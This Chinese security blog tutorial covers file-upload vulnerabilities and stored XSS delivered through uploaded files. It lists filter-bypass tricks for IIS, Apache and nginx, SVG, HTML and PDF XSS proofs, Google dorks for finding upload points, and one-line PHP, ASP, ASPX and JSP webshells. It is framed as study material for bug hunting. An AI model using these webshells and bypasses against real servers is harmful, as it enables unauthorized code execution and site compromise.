那些年,你不知道的存储型XSS之上传文件

admin 2022年9月19日00:44:28评论467 views字数 6612阅读22分2秒阅读模式

微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

0# 前言

因为团队里大佬太多,从漏洞挖掘到证书思路,从攻击流量特征到绕各种WAF都分享了一遍,那我就只能硬着头皮给大家讲一些心得体会

同时,欢迎各位大佬们加入渊龙Sec安全团队!

1# 文件上传基础

1.1# 前端检查

绕过方式:

  1. 通过浏览器F12很简单的修改文件后,后缀名就可以完成绕过检查;或者是将木马修改后缀名后,再通过改包工具修改上传

  2. 如果是JS脚本检测,在本地浏览器客户端禁用JS即可(可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现绕过)


1.2# 扩展名检查

对于扩展名的检查,可以分为黑名单和白名单两种形式

绕过方式:

  1. 老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp 脚本来解析

  2. 老版本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg

  3. 旧版Windows Server中存在空格和dot漏洞,类似于 a.php.a.php[空格] 这样的文件名存储后会被Windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作PHP代码来执行

  4. nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为PHP代码运行(fastcgi会把这个文件当PHP看,不受空字节影响,但是检查文件后  的那个功能会把空字节后面的东西抛弃,所以识别为jpg)

  5. apache1.x,2.x的解析漏洞,上传如a.php.rar/a.php.gif 类型的文件名,可以避免对于PHP文件的过滤机制,但是由于Apache解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是Apache不能识别的,因此就会直接将类型识别为PHP,从而达到了注入PHP代码的目的


1.3# 检查Content-Type

见以下表格:

那些年,你不知道的存储型XSS之上传文件

绕过方式:
使用各种各样的工具(如BurpSuite)强行篡改Header就可以,将Content-Type: application/php改为其他web程序允许的类型


1.4# 检测文件头

那些年,你不知道的存储型XSS之上传文件

绕过方式:
给上传脚本加上相应的文件头字节就可以,PHP引擎会将 <?之前的内容当作html文本,不解释而跳过之,后面的代码仍然能够得到执行(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符)


1.5# 其他方式

  • 文件00截断

绕过方式:
通过抓包截断将evil.php.jpg后面的一个.换成0x00(在上传的时候,当文件系统读到0x00时,会认为文件已经结束,从而将evil.php.jpg的内容写入到evil.php中,从而达到攻击的目的)

  • 条件竞争

绕过方式:
同文件包含漏洞所用木马

  • 检测文件内容

绕过方式:
除了修改文件头,在一句话木马前后加上无关数

PS.这提供Fasthand_大佬的文章的链接,写得很基础且详细,可以学到不少东西:https://blog.csdn.net/qq_43390703/article/details/104858705

2# 文件上传型存储XSS

  • 关键思路总结:搜集文件上传点+构造含有Payload的文件+成功上传+找到保存路径+成功解析

  • 可以插入XSS代码的文件格式:svg/html/pdf/doc/docx

svg文件内容:

1<?xml version="1.0" encoding="UTF-8" standalone="no"?>
2
3<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
4<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">
5
6<image id="image0" width="751" height="751" x="0" y="0" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
7
8<script>alert(1)</script> </svg>

加载JS见discord:

1<html>
2<body>
3<script>alert(1)</script>
4</body>
5</html>

PDF文件内容:

使用迅捷PDF编辑器打开,见:https://www.shuzhiduo.com/A/WpdKyvvAJV/

1app.alert(1);

Doc/docx文件内容:
https://bestestredteam.com/2018/07/27/learning-to-pop-xss-with-docx-files/


Payload构造点:
https://brutelogic.com.br/blog/file-upload-xss/

  1. 文件名【任意文件格式都可以】

  2. 元数据【EXIFTOOL】

  3. 内容【见上】

  4. 来源【尚不太懂】


文件上传导致的存储XSS漏洞存在的功能点:

1头像图片自定义
2编辑器
3评论区/留言处(意见反馈或建议板块)
4提交工单
5在线客服(直接搜在线课程或网上商城等需要客服的网站,找在线客服)

谷歌语法搜索:

1inurl:目标域名 上传
2inurl:feedback 上传
3intitle:意见反馈
4intitle:提交工单
5inurl:chat 在线客服`

在线客服上传点的漏洞挖掘经验:

  • 看看有没有图片上传或文件上传功能

  • 看看图片上传是否接受xss.svg.jpgxss.svg,(注意:上传文件的时候,会设定后缀名要求,但是如果没有加以验证,可以提交某些其他后缀名的文件)上传成功则看是否有保存路径(开发者工具,Burp抓包,直接右键复制保存路径)且保存路径是否可用(保存路径是否开头有blob:/ 域名是否不是文件上传点的域名 /是不是先自动下载文件而不是解析文件/ 是不是Post提交的保存地址(几乎没救))
    注意:保存路径有时候会分为临时和永久,一般提交完毕后看到的是永久,而一些漏洞可能是临时,但也可以造成不小的影响

  • 看看是否接受xhtml/html/xml,成功就同上

  • 用PDF或SWF格式的,以上的可以随时注意有没有通用型漏洞,找寻相同特征(查看js或者抓包,用Fofa进行搜索)


存储XSS via文件上传挖掘分析思路:

【三大要素】Filename  Coontent-Type Payload
注:黄色是可以绕过,绿色是完全不检查,红色是无法绕过,白色是不确定

那些年,你不知道的存储型XSS之上传文件

说明如下:

  • 第一个阶段是检查(纵向),第二个阶段是解析文件的类型(横向),顺序可变,依照代码顺序来

  • 单个或组合要素进行文件验证或解析

  • 举个案例,可提交pdf文件进行存储xss漏洞的触发,地址:https://hackerone.com/reports/880099

那些年,你不知道的存储型XSS之上传文件

3# 文末惊喜

下面附上一些我在学习中遇到的Q&A


1.文件上传漏洞产生的原理是什么?会有什么危害?

存在文件上传功能且没有严格的检验机制或检验函数有漏洞导致的;
危害极大,服务器网页被篡改,网站被挂马,服务器被远程控制,被安装后门等


2.文件上传漏洞的分类是哪些?

按照危害来看,文件上传的一共可造成三种危害,从低到高分别是:

  • 任意内容文件,html文件,脚本文件;指的是虽然文件后缀不可控,但是文件内容可控,比如我可以上传一个内容为的jpg文件。这种是未校验文件头和文件内容导致的,往往不被视为漏洞,使用它们通常需要其他漏洞结合利用,比如php cgi解析漏洞,文件包含漏洞,结合任意目录上传覆盖正常文件

  • HTML文件:允许上传一个html格式的文件(包括htm等),等同于存储XSS,但由于实际利用过程中必须得钓鱼,所以其危害等同于反射XSS,同时也曾有人拿这种漏洞做黑帽SEO。由于富文本编辑的未授权上传的特殊性,故而常有存储xss;例如:Kindeditor默认支持html上传,ueditor默认支持XML上传

  • 脚本文件:脚本文件指可执行动态脚本,就是Webshell,也是文件上传漏洞的重点,一旦出现,即使语言环境对危害函数严防死守,也会造成严重危害

脚本文件常见的4大类:asp/aspx/php/jsp


3.PHP的文件上传漏洞利用是如何?

PHP:一句话木马:<?php @eval($_POST['a'])?>(可以改成GET REQUEST等)

  • IIS,apache,nginx均可能支持

  • php3/php4/php5/php7/pht/phtml/phar均有可能解析成php【可见下列表】

  • .htaccess可支持同目录下任意格式解析成PHP:AddType application/x-httpd-php.abc

  • .user.ini的效果和.htaccess差不多,但是必须要求同目录下有一个PHP文件:auto_prepend_file=a.jpg

注:.htaccess只支持Apache,.user.ini支持所有cgi模式启动的php

【PHP其他的冷门后缀表】

1.php/.phps
2.php3/.php4/.php5/.php7
3.inc
4.phar
5.pgif
6.pht/.phpt/.phtm/.phtml

4.ASP/ASPX的文件上传漏洞利用是如何?

ASP:一句话木马<%eval request("a")%>

  • IIS6.0默认支持,同时更高版本也通常为了兼容而支持。

  • IIS6.0默认还支持cer,cdx,asa三种格式以asp解析,IIS7.0及以上的版本只支持cer

ASPX:一句话木马

<%@ Page Language="Jscript"%>/<%eval(Request.Item["a"],"unsafe");%>

  • IIS7.0及以上默认支持,aspx没有其他格式,但有可以起到一样效果的ashx/asmx/ashx/asmx/soap

参考:
https://github.com/luoke90hou/files/blob/main/customize.ashx
https://github.com/luoke90hou/files/blob/main/customize.asmx
https://github.com/luoke90hou/files/blob/main/Customize.soap

web.config:

  • 类似apache的.htaccess也可以让当前目录的任意后缀文件解析为asp/aspx

stm/shtm/shtml:

  • 不能作为木马,但可以读取web.config内容和一些信息 Global.asaxaspx.cssvc,dll文件均可以在IIS中当Webshell,但都需要编译,无法直接通过文件上传getshell,通常作为后门维持

如果IIS部署了MVC3,还支持cshtml,参考:
https://github.com/luoke90hou/files/blob/main/customize.cshtml

【ASP的冷门后缀表】

1.asp/.aspx
2.cer
3.asa (IIS <= 7.5)
4shell.aspx;1.jpg (IIS < 7.0)
5shell.soap

5.JSP/JSPX的文件上传漏洞利用是如何?

JSP:一句话木马

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

  • Tomcat/Jboss/WebSphere/Weblogic等Java web容器均支持Jsp

JSPX:一句话木马【】

  • jspx是jsp的xml表达

  • war格式为jsp文件打包,通常用来快速部署网站用的,Tomcat/Jboss/WebSphere/Weblogic后台均可通过部署War包来getshell(注:jspf,jspa,jhtml均为额外配置脚本文件,默认无此支持)

【JSP的冷门后缀表】

1.jsp/.jspx
2.jsw
3.jsv
4.jspf

6.其他脚本文件的文件上传漏洞利用是如何?

拓展:除了上述常见脚本文件之外,Python网站使用py脚本,Perl网站使用pl脚本和cgi脚本, ColdFusion网站使用cfm脚本,Servlet网站使用Java脚本(这些均有对应的webshell)

【PERL的冷门后缀表】

1.pl/.pm
2.cgi
3.lib

【Coldfusion的冷门后缀表】

1.cfm/.cfml
2.cfc
3.dbm

7.文件上传可以控制的参数有哪些?

1)  前端验证,MIME验证:基本无用,抓包改包即可突破
2)  目录或者文件名:现在绝大部分文件上传后都是用时间戳或者随机hash重命名,一般也不让控制目录。

  • 如果允许完全控制文件名,或者目录,则可以尝试上传../../../testtest.php文件穿越目录(具体利用方法结合实际情况,比如绕过当前目录不解析,增加任务计划,Web配置,权限足够甚至可以直接覆盖掉passwd。即使权限不够,也能尝试用恶意doc/xls/exe覆盖掉正常的文件)

  • 如果不完全控制,也就是上传test.php.png会拼接成202004017141111111test.php.png,也可以尝试用特殊字符截断成202004017141111111test.php%00.png(不单单可以在文件名上截断,同样可以在目录上截断)

  • 如果目录,文件名均不可控,后缀使用黑名单控制,用冷门后缀绕过。Windows服务器上还有一些其他办法

3)  文件内容控制:有时候服务器会对文件的真实性进行校验,比如检查图片文件的真实性,检查xlsx文件是否可以解析,我们就需要控制文件内容。文件内容可控点分为两部分:一是文件头,即16进制下的前几个字符,常用的是gif文件头GIF89au,Gif文件头由于全是英文数字,比png和jpg适用性都广;二是整个文件内容,比如对图片尺寸进行校验甚至二次渲染,单单加入文件头是无法上传的,此时必须以图片马的方式上传:copy 1.png/b+1.php 2.png

4)  绕过GD库:GD库是php的图片渲染插件,方便于把图片统一尺寸。即使是符合尺寸的图片也会被二次渲染

这种情况下需要对比图片渲染前后未被修改的部分,在此插入payload
绕过GD库有如下原则,图片尺寸越大越好,插入的payload越短越好,gif容易成功,png次之,jpg难成功

参考链接:
https://github.com/luoke90hou/files/blob/main/phpgd.php.jpg https://xz.aliyun.com/t/2657

5)  条件竞争:如果文件上传时分两步,先生成文件再校验,不合规再删除,则可以利用时间差来访问还未删除的脚本文件(也可以利用报错使删除逻辑不再执行)

条件竞争的隐藏条件就是文件路径可预测,也就是目录和文件名要固定,或者一定程度可猜解:方法是用Burp大量发包上传,或Burp大量发包访问Webshell的地址


除此之外,我还整理了十几个内容,欢迎各位师傅加入团队和我一同探讨哈哈哈~

我是Angel7,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!

那些年,你不知道的存储型XSS之上传文件

原文始发于微信公众号(渊龙Sec安全团队):那些年,你不知道的存储型XSS之上传文件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月19日00:44:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   那些年,你不知道的存储型XSS之上传文件http://cn-sec.com/archives/1302802.html

发表评论

匿名网友 填写信息